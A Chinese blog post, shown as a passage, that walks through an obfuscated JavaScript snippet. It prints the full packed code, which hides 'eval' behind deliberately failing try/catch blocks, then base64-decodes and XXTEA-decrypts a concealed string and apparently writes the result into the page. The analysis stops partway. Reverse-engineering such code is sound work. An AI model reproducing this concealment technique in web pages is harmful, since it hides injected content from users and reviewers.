解密一段混淆后的javascriptvar xmPpPuD='@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@i@v@var@@out@str@@len@@@charCodeAt@@case@return@y@z@c3@length@if@c4@p@0xff@while@break@sum@fromCharCode@c2@String@s@char2@function@mx@0xffffffff@n@c@c1@nbChar@ErTiUlaxlkP@do@w@AVgHbu2f@t@X3cQCMIIF@e@for@str2long@BMOYPRD4H@0x3F@6b@char3@delta@k@join@vl@long2str@NtCion@nbencode@sl@GIEMslIELDjE@utf8to16@false@key@q@nbcode@KEY@wSRQnrQSzhA6DYAvARHsN0D0pv6xIZoMkUO@pblip4T6bmUF@DLrUweJBRzkjUaJm3FodsIK7r1@jmTsWpQYCx0dVLA3KBSqCmQEPdX3rcm0hOnxeBOlXrI1jH48n8UkQV7s@2lQct4OV7c1k6m7gKRTq1TxHm8Q1VzBdmuqAqi8SrulCAjnETr2EHJtsPHCFtpD9foP5yRb6MaNEm8JE7o0FlgYOu@TbbFDnRCAUdB2BqonVftMxmthKOjbAQvvO3jwffVtfkZFBhRuydN5kLR7cgRpcXUkKT0MW1u79hnx@Et3s05olXg@Rug2WGdtH4AvHDOIDjO0avQXnk11x6SPxz9syClHjdumPQ7LcVZtm0@yUUUs5@J2zDaG0NhrwhRp9E5kgucQrqQTw7JMD@CYJ1X5@4F1qSw1Ijq1mlApFWqoGeaNmzjuxat5raRZdIYdjICjYbTruOQkmWWShMihPFitBVxoz2M4droAhF2Zt@T@79UJrPVJ@u006ZFZu0uZV8Hoov6x@l1fI3H4YCwJK6jDcGfh@TOOTTK79VAok4WENQU7w2tOPcuAL6IXpBv24GhpiLfxvXtdq3I9YVujFSuHOx@sTKXtFtiv5pZUWq3af@lpwf4gbY8QrY4DRaUqauFEFxubVtRjrWKtgwjeN4hhLlEzPLOTXldstcIMT3SII4xGkEjU7NIPfgeD9wG2bJXV9VjZ07zKD@0IdfBYp1wDTM4B9HKn03j71@pO7m9iizkMFxrEfbXYiC1rouzzH2UhnGTJw6WtHEjVAZkM@ffSUMbsy7QyGWsNH3msndoDKD8KeSUqOvkvQIP2o9Nt8bkJC2MtYeovBQ2k5lzHSaTHBGvQcF69okljMDEDnH3zZ1k34M@EIpYs@euHy3upIFFMkS45BUAZqk1f38KjVO5YNLGUJUSMT0OKUwgoVeDyIdlfPuB5W8kqujuUqWeYlG@oz30SEew6FBOrQGH@DGZQ0kfRhSgJl1rll4K6haE5sqqARvlY1hhwKRcMoY7vra9sjl5V7f0Ot91M3rri4WSAenWO9xkXfkNTer5m1BoPwnodMzPqGSFIwLHJ6dMKyDmeaC3h8ay1plQXgOJNYe6qEhF@ki5ZI4Z4g9J5DZAjtZ4t4pk2rWTn65pDHiJX@QQUgrQTci7vkPqMZV5LmjZvrClo9BNiKZHbjRVh2MHRd0xTiAFDAXPutnMmm3HqzpSrkN49PQJu9E8aKLHmh2ZCiu7XiJTp5CwmkThnclKhhRYCGOXGrEyYp8NGjGYf@3U1TdvpWixdDwUsoSHPE@mX0VnMDwK@zDTOcxUCoYY809vXq@B7ZApRiL2aJKPcaku6giDU3KpA9r7A@tvs@OVPL1sM0Hkpktx9vcjB6YosfTXOlbsJuNTEzmv8fCuw@jv4e@wLyDMygHDhIpLs69YIiIYzsgB4PIXZEE2TPagrn2@RQjjJLbL@new@Array@q1miO@apfqUQqRj4i@mqmV2ovxhuQmCimVzwxbzwyj05rIBAIt@0x0F@switch@Y3f5Zd02nd1la3cl@charAt@0x1F@uqc2noMSwTvgJRFBA6iexSTcTp003D1@5ghT05uKtuBA5WRKQ@fqDUEw1DKDuuo5MDBjItMdRr9hk3w4F6dwoJ54DClw5vsb6u@yI0C7jcly51ResekB1m8rZkUeP9tUEMrmVVx6kGqxzmwyc7Q9l8vUeeBwmch9Q0FMYpgeagLX64Wd9XlSjW@cfzlTeiXraWam5Cln@35rP@Aq18O2o2UPrJbjRjAhZY4nkCWTj32Q7q05BGBt174tHF4Zsvn0IfvE7Gb2D2c4rGg3seMuhtkz@vEaUEWceI@Fg9MLGswLXtCYLFjcKktQMleQS8PPLRTBOAP8w@0x30@uVdf0yXqEJ8FMTVEGjgwLMxc8HAPWmyl@RBIjH@A0XFHNcBSAm886esw1iemq2UKvBYvxgY9DH71tzxcfaCEmAzvG6dxWtyR2lEal5ePnxJ@xSueBHBLIR7EI1iksS69n@7A7UxgVijnV0hbkf4kBUgb@YbwRe4wIQqUj441GplGU@QWIs@S1aCnzk8JVTRp@HGZ6UdYXBaWNwdi6v8@WVgM5KU7bztFh842BX74PxXWjqxzVT7Bq8WFKQ4iykAGS0HF1SKfMRgnIwm@FOiuEHEMBm4@6e@bo2L@Fq1A2DYfZqISXrA3d2IJjwT5v9szaO1hJSbG2P0hBIGde0Bz2nWV@B1W4W8sRUROX6RhZHFe87QuYe0irnEtyc4q1up6sp6mbkn6rFJ4fd4zMheoXadMRkZ9LpxFtrYXZl7Z46p9asgTGEPnkV5y3A7Q0ZlElDLLZcJHHjH6De9zBWhL7wK7sZEIWynKpih6qhrCegL7zMsk7Jr@6d@2T9@6f@06mQx5@cqsaqOVn9U2CnP4YDCKOVUGhwOP32EPPBXoQ6t2rXrDXsg4wcPlF7ZbADZ1BqDUBznvuBF7PUmPA8uIAAj@iluHL4SwKTqtHMEpqTNlPmsYmLJy4fyYFp3MGU3hvfF5SerLqfhpepbv8BeJ5BZ10dDrylC@a@0x9E3779B9@Math@pVHx0M6JmIr0CyE2J6@floor@Xv5DpHJI3KQfbiJPeolHfwAohK48fLmMLIQ9DCEuswVs8pPwqU5HTmvhYoXhSWGRpaqZi5SbP3sfDXFOF@b9b6RWUbaiupW3e5wbCUek3mREtTVgF77ynaRE78GV9kh7KkuUsHUGcJ2MTRZ6Pskyja7udEh5Xn7lNnu5d4Z8ObG94BiXrKbNSrXq9kc6kLchvMBLZOzWaL8iTiko6U@I5f4zTnCCs@zOCRZc8BHU@true@m2NSiH6l2FzLG7orBqPSg@tB1dGSfPFRk1vaZXZ9hmSxN6OUwRnMRpmkrK9lUMXl87MJJKTx0zdBj37C7mBtMcnwfE7j98Ecol8HWWYOVFXrB8eo8CfDrKCdWDAq4vCe5hFQNxA274qZQK7Mg1ZT145ugZNCS4T6NL2Pyccy9X2SNCpbcpfKCOXzh410xwzuQUAq0dN@U8owSdp9HGnqLZ9r9bFY8Zu6oBxf9ZHZRRJj00L74qVZJlvDStw66LVaC1y0xXMHTHqSM0fSZzUM2EAQnICGMiYSX5EuR5zyB0MIWDSPkxxRR9uwe0bqtmvrsMoF9nB4SwxfQRiW@NFfs4RnsEcvSsA0I2LaBBdftn10aKQaoxZlwXFtLCOm4KTpWEHSCCkn4LxuPywO9MHyCljq9Dj9P@UmsTwEIduUUMvSNKSWshLCd2Zef@d@ZMn3fjmrGTF4oZf@unescape@iqFf0HWojduuDeEUczPmODLX5syXoAGBVI86VRbXBs0SOFInqApsPy3qGKsD1rmTw@JZEBdqbScxedR38nOwShp9U4BpuY5KFY14CFwY53lqOHmJZlNY1SRGfCP8BjsKl04OF5en7qjd1B0lwddfnxQHG0cAGYymgOV8kqbf5r8@1b6@JrmN230FoR@1uoOnJ8cqd@SLHtQeORnHYCi@window@1FMr0V57QECrG8B5CZnJf9vK@TnFjIvZMzz7PnxtBtP@cZmw@substring@GMYWq23s9KdInnMmwpTnW5SCAQArasDvOwt41t5wESrYd6n4j@0x03@5PitiiDb31Yom5aitPoOzRsNijIK8T1LgD8p@0x3C@0XF@lh3s96y1TlYSr2bGsot5X2q0yhbRNIzg2I5@8jwV9HKfnDoTXXxeUbCJhQvjkfpOUyDmUW7QDs@vKAgYuuGFuBPMbL78UeU9ocFhbWuh6bSeB4gc6@OnWaRzgBCa138REQHsEs8fY6XHElZEOBFjujI7QiTkHAVVzi7@vEeD@ETrdXDjteq@nvGi8osGldYauxoVM5MCvqXHUDjxMaXUSD7AeBMt4NFUOeaHTRO3g2OrKdYSFTM8B9yox8y6B@m5C44eIjFmW3VoOT9eqOZrNP9U2uaoNIH4B6oLG@YoUPQPWNl5ik@kQilw0PR3rfNWmaXV@9fzdzGitYU7D9yZmP6b6HHIBOTJQZKPrkDGfGc951oRipvP3Z@jPLTMisNZEOos8DtiaWc1Lnw7ceIJQO1EMuisaLPLH5jn4To@UUMmqy5pXNmDTLLI@else@UOKuBPUkF01Q3Gck2dJ08EJpNKezld2P@YFIn9@1m8sq1lsvkDzk6B2DB1JwsvXfah9eDKWM5D6qtpaPM6@KSjY1tBdOG8TWKiFAnBYlGm2p7nU2Am2uceWxrpQxdxXh@U002EEkqW13kqzlE6zojX7Ynyy4Nclc55d6t0PyY36MuVFYIdOjNqwXwv9EN2rqSnHzCqyi9GRzqywcmSTWso7tyiloq9bNvcVzFvU37haiIsOrergiQgXNS7sZZICw0EYaG4rivuaaDrNBBJ@yfxU2RawXU0',xmPpPuD0='1',xmP76x,C69df3E,xmPpPub0='\x40';delete xmPpPuD0;try{alert(a,b,c);}catch(e){var bBDCPCC3="d";xmP76x=eval;C69df3E=xmP76x;}try{alert(e,f,g);}catch(e){C69df3E(function(/*jsck vip*/p,/*jsck vip*/a,/*jsck vip*/c,/*jsck vip*/k,/*jsck vip*/e,/*jsck vip*/d/*jsck vip*/){e=function(c){return c};if(!''.replace(/^/,String)){while(c--){d[c]=k[c]||c}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('68 106=226,124="%31"+"%32"+"%33"+"%34"+"%35"+"%36"+"%37"+"%38",108="%64"+"%205"+"%63"+"%75"+"%203"+"%65"+"%199%74",130="207+212+251/262/260+244/154/151/148+149/150+155+156+/161/162+160+159/157/158/147/146+135/136/137+134/133/131+132/138+139+144+145+143+142+140+141+163+197+164/188+186+185+182/183+184/189+190/195+196/194+193/191/192+181+180+170+171/175",103="%77"+"%72"+"%69"+"%74"+"%65",112;96 125(71){68 70,66,73,100;68 95,115;70=[];73=71.83;66=0;88(66<73){100=71.76(66++);174(100>>4){78 0:78 1:78 2:78 3:78 4:78 5:78 6:78 7:70[70.83]=71.176(66-1);89;78 12:78 13:95=71.76(66++);70[70.83]=93[\'91\'](((100&177)<<6)|(95&113));89;78 14:95=71.76(66++);115=71.76(66++);70[70.83]=93.91(((100&173)<<12)|((95&113)<<6)|((115&113)<<0));89}}79 70.118(\'\')}68 121="%39"+"%63"+"%114"+"%63"+"%114"+"%63"+"%114";68 102=168 169(-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,62,-1,-1,-1,63,52,53,54,55,56,57,58,59,60,61,-1,-1,-1,-1,-1,-1,-1,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,-1,-1,-1,-1,-1,-1,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,-1,-1,-1,-1,-1);108=106(108);96 129(71){68 101,92,82,85;68 66,73,70;73=71.83;66=0;70="";88(66<73){104{101=102[71.76(66++)&87]}88(66<73&&101==-1);84(101==-1)89;104{92=102[71.76(66++)&87]}88(66<73&&92==-1);84(92==-1)89;70+=93.91((101<<2)|((92&187)>>4));104{82=71.76(66++)&87;84(82==61)79 70;82=102[82]}88(66<73&&82==-1);84(82==-1)89;70+=93.91(((92&242)<<4)|((82&241)>>2));104{85=71.76(66++)&87;84(85==61)79 70;85=102[85]}88(66<73&&85==-1);84(85==-1)89;70+=93.91(((82&239)<<6)|85)}79 70}96 120(67,105){68 119=67.83;68 123=67[119-1]&98;110(68 66=0;66<119;66++){67[66]=93.91(67[66]&87,67[66]>>>8&87,67[66]>>>16&87,67[66]>>>24&87)}84(105){79 67.118(\'\').237(0,123)}256{79 67.118(\'\')}}96 111(94,105){68 73=94.83;68 67=[];110(68 66=0;66<73;66+=4){67[66>>2]=94.76(66)|94.76(66+1)<<8|94.76(66+2)<<16|94.76(66+3)<<24}84(105){67[67.83]=73}79 67}112=106(124+121);96 122(71,127){84(71==""){79""}68 67=111(71,126);68 117=111(127,126);68 99=67.83-1;68 81=67[99-1],80=67[0],116=210;68 97,109,128=211.213(6+52/(99+1)),90=128*116&98;88(90!=0){109=90>>>2&3;110(68 86=99;86>0;86--){81=67[86-1];97=(81>>>5^80<<2)+(80>>>3^81<<4)^(90^80)+(117[86&3^109]^81);80=67[86]=67[86]-97&98}81=67[99];97=(81>>>5^80<<2)+(80>>>3^81<<4)^(90^80)+(117[86&3^109]^81);80=67[0]=67[0]-97&98;90=90-116&98}79 120(67,218)}103=106(103);107="221/220/230+219+217+223+228+229+227+215/214/204+202/201+206+"+130+"+209/+231+247/254+255+253+252/249/250+259/261+258/248+238/236/235+232/234/240/245+246+243/198/153+152/165/166+167+172+178/179+257+216/222/224/225+200/208";107=125(122(129(107),112));233[108][103](107);',10,263,xmPpPuD['s'+'\x70\x6C\x69'+'t'](xmPpPub0),0,{}))} 看起来貌似不知所云，整理一下，将js中的变量和函数分割开： 首先定义了5个变量xmPpPuD、xmP76x、 C69df3E、 xmPpPub0： var xmPpPuD='@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@i@v@var@@out@str@@len@@@charCodeAt@@case@return@y@z@c3@length@if@c4@p@0xff@while@break@sum@fromCharCode@c2@String@s@char2@function@mx@0xffffffff@n@c@c1@nbChar@ErTiUlaxlkP@do@w@AVgHbu2f@t@X3cQCMIIF@e@for@str2long@BMOYPRD4H@0x3F@6b@char3@delta@k@join@vl@long2str@NtCion@nbencode@sl@GIEMslIELDjE@utf8to16@false@key@q@nbcode@KEY@wSRQnrQSzhA6DYAvARHsN0D0pv6xIZoMkUO@pblip4T6bmUF@DLrUweJBRzkjUaJm3FodsIK7r1@jmTsWpQYCx0dVLA3KBSqCmQEPdX3rcm0hOnxeBOlXrI1jH48n8UkQV7s@2lQct4OV7c1k6m7gKRTq1TxHm8Q1VzBdmuqAqi8SrulCAjnETr2EHJtsPHCFtpD9foP5yRb6MaNEm8JE7o0FlgYOu@TbbFDnRCAUdB2BqonVftMxmthKOjbAQvvO3jwffVtfkZFBhRuydN5kLR7cgRpcXUkKT0MW1u79hnx@Et3s05olXg@Rug2WGdtH4AvHDOIDjO0avQXnk11x6SPxz9syClHjdumPQ7LcVZtm0@yUUUs5@J2zDaG0NhrwhRp9E5kgucQrqQTw7JMD@CYJ1X5@4F1qSw1Ijq1mlApFWqoGeaNmzjuxat5raRZdIYdjICjYbTruOQkmWWShMihPFitBVxoz2M4droAhF2Zt@T@79UJrPVJ@u006ZFZu0uZV8Hoov6x@l1fI3H4YCwJK6jDcGfh@TOOTTK79VAok4WENQU7w2tOPcuAL6IXpBv24GhpiLfxvXtdq3I9YVujFSuHOx@sTKXtFtiv5pZUWq3af@lpwf4gbY8QrY4DRaUqauFEFxubVtRjrWKtgwjeN4hhLlEzPLOTXldstcIMT3SII4xGkEjU7NIPfgeD9wG2bJXV9VjZ07zKD@0IdfBYp1wDTM4B9HKn03j71@pO7m9iizkMFxrEfbXYiC1rouzzH2UhnGTJw6WtHEjVAZkM@ffSUMbsy7QyGWsNH3msndoDKD8KeSUqOvkvQIP2o9Nt8bkJC2MtYeovBQ2k5lzHSaTHBGvQcF69okljMDEDnH3zZ1k34M@EIpYs@euHy3upIFFMkS45BUAZqk1f38KjVO5YNLGUJUSMT0OKUwgoVeDyIdlfPuB5W8kqujuUqWeYlG@oz30SEew6FBOrQGH@DGZQ0kfRhSgJl1rll4K6haE5sqqARvlY1hhwKRcMoY7vra9sjl5V7f0Ot91M3rri4WSAenWO9xkXfkNTer5m1BoPwnodMzPqGSFIwLHJ6dMKyDmeaC3h8ay1plQXgOJNYe6qEhF@ki5ZI4Z4g9J5DZAjtZ4t4pk2rWTn65pDHiJX@QQUgrQTci7vkPqMZV5LmjZvrClo9BNiKZHbjRVh2MHRd0xTiAFDAXPutnMmm3HqzpSrkN49PQJu9E8aKLHmh2ZCiu7XiJTp5CwmkThnclKhhRYCGOXGrEyYp8NGjGYf@3U1TdvpWixdDwUsoSHPE@mX0VnMDwK@zDTOcxUCoYY809vXq@B7ZApRiL2aJKPcaku6giDU3KpA9r7A@tvs@OVPL1sM0Hkpktx9vcjB6YosfTXOlbsJuNTEzmv8fCuw@jv4e@wLyDMygHDhIpLs69YIiIYzsgB4PIXZEE2TPagrn2@RQjjJLbL@new@Array@q1miO@apfqUQqRj4i@mqmV2ovxhuQmCimVzwxbzwyj05rIBAIt@0x0F@switch@Y3f5Zd02nd1la3cl@charAt@0x1F@uqc2noMSwTvgJRFBA6iexSTcTp003D1@5ghT05uKtuBA5WRKQ@fqDUEw1DKDuuo5MDBjItMdRr9hk3w4F6dwoJ54DClw5vsb6u@yI0C7jcly51ResekB1m8rZkUeP9tUEMrmVVx6kGqxzmwyc7Q9l8vUeeBwmch9Q0FMYpgeagLX64Wd9XlSjW@cfzlTeiXraWam5Cln@35rP@Aq18O2o2UPrJbjRjAhZY4nkCWTj32Q7q05BGBt174tHF4Zsvn0IfvE7Gb2D2c4rGg3seMuhtkz@vEaUEWceI@Fg9MLGswLXtCYLFjcKktQMleQS8PPLRTBOAP8w@0x30@uVdf0yXqEJ8FMTVEGjgwLMxc8HAPWmyl@RBIjH@A0XFHNcBSAm886esw1iemq2UKvBYvxgY9DH71tzxcfaCEmAzvG6dxWtyR2lEal5ePnxJ@xSueBHBLIR7EI1iksS69n@7A7UxgVijnV0hbkf4kBUgb@YbwRe4wIQqUj441GplGU@QWIs@S1aCnzk8JVTRp@HGZ6UdYXBaWNwdi6v8@WVgM5KU7bztFh842BX74PxXWjqxzVT7Bq8WFKQ4iykAGS0HF1SKfMRgnIwm@FOiuEHEMBm4@6e@bo2L@Fq1A2DYfZqISXrA3d2IJjwT5v9szaO1hJSbG2P0hBIGde0Bz2nWV@B1W4W8sRUROX6RhZHFe87QuYe0irnEtyc4q1up6sp6mbkn6rFJ4fd4zMheoXadMRkZ9LpxFtrYXZl7Z46p9asgTGEPnkV5y3A7Q0ZlElDLLZcJHHjH6De9zBWhL7wK7sZEIWynKpih6qhrCegL7zMsk7Jr@6d@2T9@6f@06mQx5@cqsaqOVn9U2CnP4YDCKOVUGhwOP32EPPBXoQ6t2rXrDXsg4wcPlF7ZbADZ1BqDUBznvuBF7PUmPA8uIAAj@iluHL4SwKTqtHMEpqTNlPmsYmLJy4fyYFp3MGU3hvfF5SerLqfhpepbv8BeJ5BZ10dDrylC@a@0x9E3779B9@Math@pVHx0M6JmIr0CyE2J6@floor@Xv5DpHJI3KQfbiJPeolHfwAohK48fLmMLIQ9DCEuswVs8pPwqU5HTmvhYoXhSWGRpaqZi5SbP3sfDXFOF@b9b6RWUbaiupW3e5wbCUek3mREtTVgF77ynaRE78GV9kh7KkuUsHUGcJ2MTRZ6Pskyja7udEh5Xn7lNnu5d4Z8ObG94BiXrKbNSrXq9kc6kLchvMBLZOzWaL8iTiko6U@I5f4zTnCCs@zOCRZc8BHU@true@m2NSiH6l2FzLG7orBqPSg@tB1dGSfPFRk1vaZXZ9hmSxN6OUwRnMRpmkrK9lUMXl87MJJKTx0zdBj37C7mBtMcnwfE7j98Ecol8HWWYOVFXrB8eo8CfDrKCdWDAq4vCe5hFQNxA274qZQK7Mg1ZT145ugZNCS4T6NL2Pyccy9X2SNCpbcpfKCOXzh410xwzuQUAq0dN@U8owSdp9HGnqLZ9r9bFY8Zu6oBxf9ZHZRRJj00L74qVZJlvDStw66LVaC1y0xXMHTHqSM0fSZzUM2EAQnICGMiYSX5EuR5zyB0MIWDSPkxxRR9uwe0bqtmvrsMoF9nB4SwxfQRiW@NFfs4RnsEcvSsA0I2LaBBdftn10aKQaoxZlwXFtLCOm4KTpWEHSCCkn4LxuPywO9MHyCljq9Dj9P@UmsTwEIduUUMvSNKSWshLCd2Zef@d@ZMn3fjmrGTF4oZf@unescape@iqFf0HWojduuDeEUczPmODLX5syXoAGBVI86VRbXBs0SOFInqApsPy3qGKsD1rmTw@JZEBdqbScxedR38nOwShp9U4BpuY5KFY14CFwY53lqOHmJZlNY1SRGfCP8BjsKl04OF5en7qjd1B0lwddfnxQHG0cAGYymgOV8kqbf5r8@1b6@JrmN230FoR@1uoOnJ8cqd@SLHtQeORnHYCi@window@1FMr0V57QECrG8B5CZnJf9vK@TnFjIvZMzz7PnxtBtP@cZmw@substring@GMYWq23s9KdInnMmwpTnW5SCAQArasDvOwt41t5wESrYd6n4j@0x03@5PitiiDb31Yom5aitPoOzRsNijIK8T1LgD8p@0x3C@0XF@lh3s96y1TlYSr2bGsot5X2q0yhbRNIzg2I5@8jwV9HKfnDoTXXxeUbCJhQvjkfpOUyDmUW7QDs@vKAgYuuGFuBPMbL78UeU9ocFhbWuh6bSeB4gc6@OnWaRzgBCa138REQHsEs8fY6XHElZEOBFjujI7QiTkHAVVzi7@vEeD@ETrdXDjteq@nvGi8osGldYauxoVM5MCvqXHUDjxMaXUSD7AeBMt4NFUOeaHTRO3g2OrKdYSFTM8B9yox8y6B@m5C44eIjFmW3VoOT9eqOZrNP9U2uaoNIH4B6oLG@YoUPQPWNl5ik@kQilw0PR3rfNWmaXV@9fzdzGitYU7D9yZmP6b6HHIBOTJQZKPrkDGfGc951oRipvP3Z@jPLTMisNZEOos8DtiaWc1Lnw7ceIJQO1EMuisaLPLH5jn4To@UUMmqy5pXNmDTLLI@else@UOKuBPUkF01Q3Gck2dJ08EJpNKezld2P@YFIn9@1m8sq1lsvkDzk6B2DB1JwsvXfah9eDKWM5D6qtpaPM6@KSjY1tBdOG8TWKiFAnBYlGm2p7nU2Am2uceWxrpQxdxXh@U002EEkqW13kqzlE6zojX7Ynyy4Nclc55d6t0PyY36MuVFYIdOjNqwXwv9EN2rqSnHzCqyi9GRzqywcmSTWso7tyiloq9bNvcVzFvU37haiIsOrergiQgXNS7sZZICw0EYaG4rivuaaDrNBBJ@yfxU2RawXU0';
var xmPpPuD0='1'; var xmP76x; var C69df3E; var xmPpPub0='\x40'; 然后是： delete xmPpPuD0; try { alert(a,b,c); }catch(e) { var bBDCPCC3="d"; xmP76x=eval; C69df3E=xmP76x; } try { alert(e,f,g); } catch(e) { C69df3E(function(/*jsck vip*/p,/*jsck vip*/a,/*jsck vip*/c,/*jsck vip*/k,/*jsck vip*/e,/*jsck vip*/d/*jsck vip*/) { e=function(c){return c}; if(!''.replace(/^/,String)) { while(c--) { d[c]=k[c]||c } k=[function(e) { return d[e] }]; e=function(){return'\\w+'};c=1 }; while(c--) { if(k[c]) { p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]) } } return p } ('68 106=226,124="%31"+"%32"+"%33"+"%34"+"%35"+"%36"+"%37"+"%38",108="%64"+"%205"+"%63"+"%75"+"%203"+"%65"+"%199%74",130="207+212+251/262/260+244/154/151/148+149/150+155+156+/161/162+160+159/157/158/147/146+135/136/137+134/133/131+132/138+139+144+145+143+142+140+141+163+197+164/188+186+185+182/183+184/189+190/195+196/194+193/191/192+181+180+170+171/175",103="%77"+"%72"+"%69"+"%74"+"%65",112;96 125(71){68 70,66,73,100;68 95,115;70=[];73=71.83;66=0;88(66<73){100=71.76(66++);174(100>>4){78 0:78 1:78 2:78 3:78 4:78 5:78 6:78 7:70[70.83]=71.176(66-1);89;78 12:78 13:95=71.76(66++);70[70.83]=93[\'91\'](((100&177)<<6)|(95&113));89;78 14:95=71.76(66++);115=71.76(66++);70[70.83]=93.91(((100&173)<<12)|((95&113)<<6)|((115&113)<<0));89}}79 70.118(\'\')}68 121="%39"+"%63"+"%114"+"%63"+"%114"+"%63"+"%114";68 102=168 169(-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,62,-1,-1,-1,63,52,53,54,55,56,57,58,59,60,61,-1,-1,-1,-1,-1,-1,-1,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,-1,-1,-1,-1,-1,-1,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,-1,-1,-1,-1,-1);108=106(108);96 129(71){68 101,92,82,85;68 66,73,70;73=71.83;66=0;70="";88(66<73){104{101=102[71.76(66++)&87]}88(66<73&&101==-1);84(101==-1)89;104{92=102[71.76(66++)&87]}88(66<73&&92==-1);84(92==-1)89;70+=93.91((101<<2)|((92&187)>>4));104{82=71.76(66++)&87;84(82==61)79 70;82=102[82]}88(66<73&&82==-1);84(82==-1)89;70+=93.91(((92&242)<<4)|((82&241)>>2));104{85=71.76(66++)&87;84(85==61)79 70;85=102[85]}88(66<73&&85==-1);84(85==-1)89;70+=93.91(((82&239)<<6)|85)}79 70}96 120(67,105){68 119=67.83;68 123=67[119-1]&98;110(68 66=0;66<119;66++){67[66]=93.91(67[66]&87,67[66]>>>8&87,67[66]>>>16&87,67[66]>>>24&87)}84(105){79 67.118(\'\').237(0,123)}256{79 67.118(\'\')}}96 111(94,105){68 73=94.83;68 67=[];110(68 66=0;66<73;66+=4){67[66>>2]=94.76(66)|94.76(66+1)<<8|94.76(66+2)<<16|94.76(66+3)<<24}84(105){67[67.83]=73}79 67}112=106(124+121);96 122(71,127){84(71==""){79""}68 67=111(71,126);68 117=111(127,126);68 99=67.83-1;68 81=67[99-1],80=67[0],116=210;68 97,109,128=211.213(6+52/(99+1)),90=128*116&98;88(90!=0){109=90>>>2&3;110(68 86=99;86>0;86--){81=67[86-1];97=(81>>>5^80<<2)+(80>>>3^81<<4)^(90^80)+(117[86&3^109]^81);80=67[86]=67[86]-97&98}81=67[99];97=(81>>>5^80<<2)+(80>>>3^81<<4)^(90^80)+(117[86&3^109]^81);80=67[0]=67[0]-97&98;90=90-116&98}79 120(67,218)}103=106(103);107="221/220/230+219+217+223+228+229+227+215/214/204+202/201+206+"+130+"+209/+231+247/254+255+253+252/249/250+259/261+258/248+238/236/235+232/234/240/245+246+243/198/153+152/165/166+167+172+178/179+257+216/222/224/225+200/208";107=125(122(129(107),112));233[108][103](107);',10,263,xmPpPuD['s'+'\x70\x6C\x69'+'t'](xmPpPub0),0,{}))} 第一句delete不知道是干啥用，在javascript这样貌似无法删除一个变量。 然后紧跟着是个try catch结构，由于这里并没有定义变量a、b、c，因此触发异常，到catch执行。 catch体中定义了一个变量bBDCPCC3，并给变量C69df3E赋值“eval”关键字。同样下面也是用一个try..catch，catch体中调用了C69df3E，也就是相当于调用eval函数： 在eval中执行以下javascript函数： function(p,a,c,k,e,d) 函数有6个参数p,a,c,k,e,d.返回值为p，仔细一看就可以发现调用函数的6个参数： 参数p： '68 106=226,124="%31"+"%32"+"%33"+"%34"+"%35"+"%36"+"%37"+"%38",108="%64"+"%205"+"%63"+"%75"+"%203"+"%65"+"%199%74",130="207+212+251/262/260+244/154/151/148+149/150+155+156+/161/162+160+159/157/158/147/146+135/136/137+134/133/131+132/138+139+144+145+143+142+140+141+163+197+164/188+186+185+182/183+184/189+190/195+196/194+193/191/192+181+180+170+171/175",103="%77"+"%72"+"%69"+"%74"+"%65",112;96 125(71){68 70,66,73,100;68 95,115;70=[];73=71.83;66=0;88(66<73){100=71.76(66++);174(100>>4){78 0:78 1:78 2:78 3:78 4:78 5:78 6:78 7:70[70.83]=71.176(66-1);89;78 12:78 13:95=71.76(66++);70[70.83]=93[\'91\'](((100&177)<<6)|(95&113));89;78 14:95=71.76(66++);115=71.76(66++);70[70.83]=93.91(((100&173)<<12)|((95&113)<<6)|((115&113)<<0));89}}79 70.118(\'\')}68 121="%39"+"%63"+"%114"+"%63"+"%114"+"%63"+"%114";68 102=168 169(-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,62,-1,-1,-1,63,52,53,54,55,56,57,58,59,60,61,-1,-1,-1,-1,-1,-1,-1,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,-1,-1,-1,-1,-1,-1,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,-1,-1,-1,-1,-1);108=106(108);96 129(71){68 101,92,82,85;68 66,73,70;73=71.83;66=0;70="";88(66<73){104{101=102[71.76(66++)&87]}88(66<73&&101==-1);84(101==-1)89;104{92=102[71.76(66++)&87]}88(66<73&&92==-1);84(92==-1)89;70+=93.91((101<<2)|((92&187)>>4));104{82=71.76(66++)&87;84(82==61)79 70;82=102[82]}88(66<73&&82==-1);84(82==-1)89;70+=93.91(((92&242)<<4)|((82&241)>>2));104{85=71.76(66++)&87;84(85==61)79 70;85=102[85]}88(66<73&&85==-1);84(85==-1)89;70+=93.91(((82&239)<<6)|85)}79 70}96 120(67,105){68 119=67.83;68 123=67[119-1]&98;110(68 66=0;66<119;66++){67[66]=93.91(67[66]&87,67[66]>>>8&87,67[66]>>>16&87,67[66]>>>24&87)}84(105){79 67.118(\'\').237(0,123)}256{79 67.118(\'\')}}96 111(94,105){68 73=94.83;68 67=[];110(68 66=0;66<73;66+=4){67[66>>2]=94.76(66)|94.76(66+1)<<8|94.76(66+2)<<16|94.76(66+3)<<24}84(105){67[67.83]=73}79 